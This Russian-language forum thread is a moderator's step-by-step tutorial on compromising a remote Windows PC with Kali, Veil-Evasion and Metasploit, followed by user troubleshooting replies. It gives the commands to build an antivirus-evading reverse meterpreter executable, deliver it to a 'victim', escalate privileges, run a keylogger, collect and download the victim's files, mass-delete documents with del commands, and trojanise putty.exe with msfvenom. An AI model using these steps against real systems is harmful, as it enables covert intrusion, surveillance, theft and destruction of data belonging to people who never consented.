Взлом удаленного ПК. Veil-Evasion. Metasploit.

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем Vander, 26 июл 2016.

  1. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    316
    Симпатии:
    285
    В этой статье, будет подробно описан взлом удаленного компьютера с использованием Kali Linux, Veil-Evasion, Metasploit.
    Ниже представлена схема, по которой будет осуществляться проникновение.

    upload_2016-7-26_15-33-33.png

    Необходимые ресурсы:
    1. Kali Linux (Я использовал Kali GNU/Linux Rolling)

    2. Статический белый IP (В моем случае Kali находится за NAT роутера с статическим адресом. Подключение к нашей машине извне будут идти на 443 порт. (В роутере он проброшен на локальный адрес Kali.) Использующие динамический адрес могут использовать DyDNS. (Не пробовал, но должно работать)
    3. Veil-Evasion – фреймворк, с помощью которого мы попытаемся обойти антивирус, создадим файл с полезной нагрузкой в формате .exe.

    Для начала необходимо установить Veil-Evasion. Чтобы программа создавала корректно работающие файлы, не рекомендую установку apt-get install Veil-Evasion. Фреймворк нужно клонировать c github.com.
    Выполните в терминале следующее:

    Следим за установкой, соглашаемся и все устанавливаем.

    Запускаем файл Veil-Evasion.py из терминала или из папки /root/Veil-Evasion.

    upload_2016-7-26_15-34-5.png

    Далее вводим команду list – она покажет список доступных payload.

    upload_2016-7-26_15-34-57.png

    Нас интересует номер 32python/meterpreter/reverse_https

    Вводим - use 32

    upload_2016-7-26_15-35-15.png

    Задаем опции будущему файлу, вводим последовательно следующие команды:

    set LHOST 83.199.12.XXX (Ваш публичный IP)

    set LPORT 443 (По умолчанию HTTPS URL использует 443 TCP-порт (для незащищённого HTTP — 80).

    set USE_PYHERION Y (используем энкриптор)

    generate (создаем .exe файл)

    Вводим имя создаваемого файла.

    Выбираем вторую строку, жмем 2.

    upload_2016-7-26_15-35-36.png

    Ждем успешной генерации файла.

    upload_2016-7-26_15-35-57.png

    Созданный файл любым путем доставляем на компьютер жертвы. Весит немного, стандартными антивирусами Win7, Win8.1, Win10 не определялся.

    Выходим из Veil-Evasion.

    Запускаем Metasploit.
    #msfconsole

    Далее

    Когда файл на компьютере жертвы будет запущен, вы увидите что открылась сессия meterpreter>.

    upload_2016-7-26_15-37-23.png

    Сразу советую мигрировать в другой процесс т.к. файл могут удалить, процесс завершится и т.д.

    Делается это так, вводим:
    ps – отобразится список активных процессов. Находим , например, explorer, смотрим его PID.

    migrate (PID процесса).
    Migration completed successfully.
    Успех. Теперь необходимо повысить права в системе, команда:
    getsystem (срабатывает не всегда.)
    В целом поможет разобраться стандартная команда help.
    Ниже пару моментов которые помогут быстрее освоиться в системе.

    1. Кейлоггер
    meterpreter > bgrun keylogrecorder

    [*] Executed Meterpreter with Job ID 2
    meterpreter > [*] Starting the keystroke sniffer...
    [*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
    [*] Recording

    meterpreter > bgkill 2 #отключаем кейлогер
    [*] Killing background job 2...

    2. Скрипт File_collector – позволит создавать список файлов имеющихся в определенном каталоге компьютера жертвы, редактировать его, и скачивать интересующие файлы себе.
    Пример:
    meterpreter > run file_collector -h
    Затем создаем список файлов в одном каталоге:

    run file_collector -r -d e:\\ -f * -o /root/ file.txt


    Редактируем наш выходной файл, т.к. не все файлы нужны.
    cat /root/file.txt | grep -v \DDD | grep -v \GCC | grep -v \GDB | grep -v \MAKE > file.lst


    Скачиваем файлы на свой компьютер.

    run file_collector -i /root /file.lst -l /root/

    Полагаю не нужно обьяснять, что делают скрипты upload и download)

    3. Используя скрипты scrapper и winenum можно собрать информацию о системе, которая сохранится на вашем локальном компьютере.

    4. Удаление файлов. Команды вводятся в шелле.
    Получаем его слудующим образом:
    meterpreter >shell

    Удаление файлов exe:
    del e:\*.* /f /s /q

    удаление файлов doc:
    del e:\*.doc /f /s /q


    удаление файлов pdf:
    del e:\*.pdf /f /s /q


    5. Командой приведенной ниже можно добавить payload в любой файл (определяется некоторыми антивирусами) При запуске на компьютере жертвы, откроется сессия meterpreter.

    msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe

    Краткое пояснение аргументов команды:
    - a 86 - архитектура процессора.
    --platform windows - тут понятно.
    - x - указать пользовательский исполняемый файл для использования в качестве шаблона.
    - k - сохранить поведение шаблона и ввести полезную нагрузку как новый поток.
    - p - тип полезной нагрузки.
    - e - тип енкодера.
    - b - помечаем нулевой байт «плохим», то есть говорим, что его нужно избегать.
    - f - формат выходного файла.

    За пример взята putty находящаяся в директории /root.
    LHOST и LPORT указываем свои.

    Приведенный метод, хорошо справляется с взломом Win7, Win8, Win10, вопросы жду в комментариях. Если кто-то умеет криптовать файлы, интересно услышать его мнение.
     
    #1 Vander, 26 июл 2016
    Последнее редактирование: 9 авг 2016
    kot-gor, vikukoll, meteor и 5 другим нравится это.
  2. Sergei webware

    Регистрация:
    7 фев 2016
    Сообщения:
    24
    Симпатии:
    54
  3. Raffel

    Raffel Member

    Регистрация:
    21 июл 2016
    Сообщения:
    5
    Симпатии:
    1
    Возникла проблема , во время запуска созданного payload -а ничего не происходит , то есть сессия в msf просто не открывается , с другими payload -ами всё работает , версия veil 2.28.1 , payload запускаю на win7
     
  4. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    316
    Симпатии:
    285
    Хм... порты указаны верно? и адрес? Пайлоад выбираете set payload windows/meterpreter/reverse_https ?
     
  5. Raffel

    Raffel Member

    Регистрация:
    21 июл 2016
    Сообщения:
    5
    Симпатии:
    1
    Да , всё верно , надо бы ещё попробовать , вдруг что-то упустил
     
  6. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    316
    Симпатии:
    285
    Напишите пожалуйста, если не выйдет
     
  7. Scan

    Scan Member

    Регистрация:
    14 фев 2016
    Сообщения:
    10
    Симпатии:
    2
    помогите пожалуйста,
    если пишу:
    Please enter the number of your choice: 1
    то все работает, если 2 то выдаёт следущее
    файл в папке есть.
    Код (Text):

    [>] Please enter the base name for output files (default is 'payload'): 123

     [?] How would you like to create your payload executable?

      1 - Pyinstaller (default)
      2 - Pwnstaller (obfuscated Pyinstaller loader)
      3 - Py2Exe

     [>] Please enter the number of your choice: 2

    =========================================================================
     Pwnstaller | [Version]: 1.0
    =========================================================================
     [Web]: http://harmj0y.net/ | [Twitter]: @harmj0y
    =========================================================================


     [*] Generating new runw source files...

    Traceback (most recent call last):
      File "/root/Veil-Evasion/Veil-Evasion.py", line 339, in <module>
      controller.MainMenu(args=args)
      File "/root/Veil-Evasion/modules/common/controller.py", line 875, in MainMenu
      self.outputFileName = self.PayloadMenu(self.payload, args=args)
      File "/root/Veil-Evasion/modules/common/controller.py", line 806, in PayloadMenu
      return self.OutputMenu(payload, payloadCode, args=args)
      File "/root/Veil-Evasion/modules/common/controller.py", line 612, in OutputMenu
      supportfiles.supportingFiles(self.payload, OutputFileName, {})
      File "/root/Veil-Evasion/modules/common/supportfiles.py", line 118, in supportingFiles
      generatePwnstaller()
      File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1473, in generatePwnstaller
      pwnstallerBuildSource()
      File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1411, in pwnstallerBuildSource
      f = open("./modules/common/source/common/utils.h", 'w')
    IOError: [Errno 2] No such file or directory: './modules/common/source/common/utils.h'


    root@root:~# /modules/common/source/common/utils.h'
    > ^C
    root@root:~# /modules/common/source/common/utils.h
    bash: /modules/common/source/common/utils.h: Нет такого файла или каталога
    root@root:~#

     
     
  8. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    316
    Симпатии:
    285
    Попробуйте удалить Veil Evasion, затем сделать команду apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y
    Затем склонировать заново Veil и установить.
     
    Scan нравится это.
  9. Scan

    Scan Member

    Регистрация:
    14 фев 2016
    Сообщения:
    10
    Симпатии:
    2
    примерно тоже самое выдаёт. ставлю на обсалютно чистую кали линукс,, раньше ставил эту же систему всё нормально работало. может не хватает каких то программ, типо аддона для наутилуса? не понимаю в чём проблема, разрядность 64х, не понимаю в чём дело, файл опять же на месте, но программа его не находит, бред, уже голову сломал как такое вообще возможно, помогите пожалуйста
    Код (Text):
    [*] Generating new runw source files...

    Traceback (most recent call last):
      File "/root/Veil-Evasion/Veil-Evasion.py", line 339, in <module>
      controller.MainMenu(args=args)
      File "/root/Veil-Evasion/modules/common/controller.py", line 875, in MainMenu
      self.outputFileName = self.PayloadMenu(self.payload, args=args)
      File "/root/Veil-Evasion/modules/common/controller.py", line 806, in PayloadMenu
      return self.OutputMenu(payload, payloadCode, args=args)
      File "/root/Veil-Evasion/modules/common/controller.py", line 612, in OutputMenu
      supportfiles.supportingFiles(self.payload, OutputFileName, {})
      File "/root/Veil-Evasion/modules/common/supportfiles.py", line 118, in supportingFiles
      generatePwnstaller()
      File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1473, in generatePwnstaller
      pwnstallerBuildSource()
      File "/root/Veil-Evasion/modules/common/supportfiles.py", line 1411, in pwnstallerBuildSource
      f = open("./modules/common/source/common/utils.h", 'w')
    IOError: [Errno 2] No such file or directory: './modules/common/source/common/utils.h'
     
    #9 Scan, 15 сен 2016
    Последнее редактирование: 16 сен 2016
  10. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    316
    Симпатии:
    285
    но программа его не находит - Какая программа его не находит? Файл генерируется в /usr/share/veil-output?
     
  11. Scan

    Scan Member

    Регистрация:
    14 фев 2016
    Сообщения:
    10
    Симпатии:
    2
    какая программа - [*] Generating new runw source files... - No such file or directory - файл не найден...
    я нуб, думаю, что "программа" генерирует файл и неможет найти его, если это не программа то, что это? извините..

    файл генерируется в /usr/share/veil-output там несколько папок: (и файл - hashes.txt)
    source - файлы в формате .py и один файл .bat
    handlers - файлы в формате .rc
    compiled - 1 удачно сгенерированный файл(при использовании опции 1 - Pyinstaller (default))
    catapult - пусто

    может ли быть так, что данная ошибка возникает после некорректной установки программ, которые устанавливаются после ввода команда - setup.sh -c

    p.s.
    если использую 3 - Py2Exe [>] Please enter the number of your choice: 3
    выводит:
    Код (Text):
    py2exe files 'setup.py' and 'runme.bat' written to:
    /usr/share/veil-output/source/
    [!] Internal error #2. Unable to generate output. Please run /usr/share/veil-output/config/update.py manually
    после запуска update.py - все пайлоадсы изчезают...
    Спасибо
     
    #11 Scan, 15 сен 2016
    Последнее редактирование: 16 сен 2016
  12. zui_cz

    zui_cz New Member

    Регистрация:
    23 апр 2016
    Сообщения:
    1
    Симпатии:
    0
    Когда ввожу setup.sh пишет, что команды не существует, что делать?
     
  13. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    316
    Симпатии:
    285
    Попробуйте вводить - ./setup.sh
     
    Vitalya_FL нравится это.
  14. veterok

    veterok Member

    Регистрация:
    27 сен 2016
    Сообщения:
    10
    Симпатии:
    2
    при попытках скомпилить payload выдает ЭТО:
    err:module:import_dll Library pywintypes27.dll (which is needed by L"C:\\Python27\\lib\\site-packages\\win32\\win32api.pyd") not found
    err:module:import_dll Library pywintypes27.dll (which is needed by L"C:\\Python27\\lib\\site-packages\\win32\\win32api.pyd") not found
    Traceback (most recent call last):
    File "/opt/veil/PyInstaller-3.2//pyinstaller.py", line 14, in <module>
    from PyInstaller.__main__ import run
    File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\__main__.py", line 21, in <module>
    import PyInstaller.building.build_main
    File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\building\build_main.py", line 32, in <module>
    from ..depend import bindepend
    File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\depend\bindepend.py", line 38, in <module>
    from ..utils.win32.winmanifest import RT_MANIFEST
    File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\utils\win32\winmanifest.py", line 97, in <module>
    from PyInstaller.utils.win32 import winresource
    File "Z:\opt\veil\PyInstaller-3.2\PyInstaller\utils\win32\winresource.py", line 20, in <module>
    import pywintypes
    File "C:\Python27\lib\site-packages\win32\lib\pywintypes.py", line 124, in <module>
    __import_pywin32_system_module__("pywintypes", globals())
    File "C:\Python27\lib\site-packages\win32\lib\pywintypes.py", line 98, in __import_pywin32_system_module__
    raise ImportError("No system module '%s' (%s)" % (modname, filename))
    ImportError: No system module 'pywintypes' (pywintypes27.dll)

    Кто сталкивался с такой бедой? и главное - как исправить?
     
  15. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    316
    Симпатии:
    285
    Veil Evasion как устанавливали? С github?
     
  16. veterok

    veterok Member

    Регистрация:
    27 сен 2016
    Сообщения:
    10
    Симпатии:
    2
    да, клонировал. при чем переставлял несколько раз.
     
    #16 veterok, 5 окт 2016
    Последнее редактирование: 5 окт 2016
  17. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    316
    Симпатии:
    285
    Когда то подобную проблему фиксил по этой статье -https://github.com/Veil-Framework/Veil-Evasion/issues/95
     
    veterok нравится это.
  18. veterok

    veterok Member

    Регистрация:
    27 сен 2016
    Сообщения:
    10
    Симпатии:
    2
    спасибо! исправил.
     
  19. Aldo

    Aldo New Member

    Регистрация:
    16 авг 2016
    Сообщения:
    2
    Симпатии:
    0
    Ребят, подскажите пожалуйста, порт 4444 он по дефолту открыт и как проверит его открытость?
     
  20. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    316
    Симпатии:
    285
    Открыт
     
Загрузка...

Поделиться этой страницей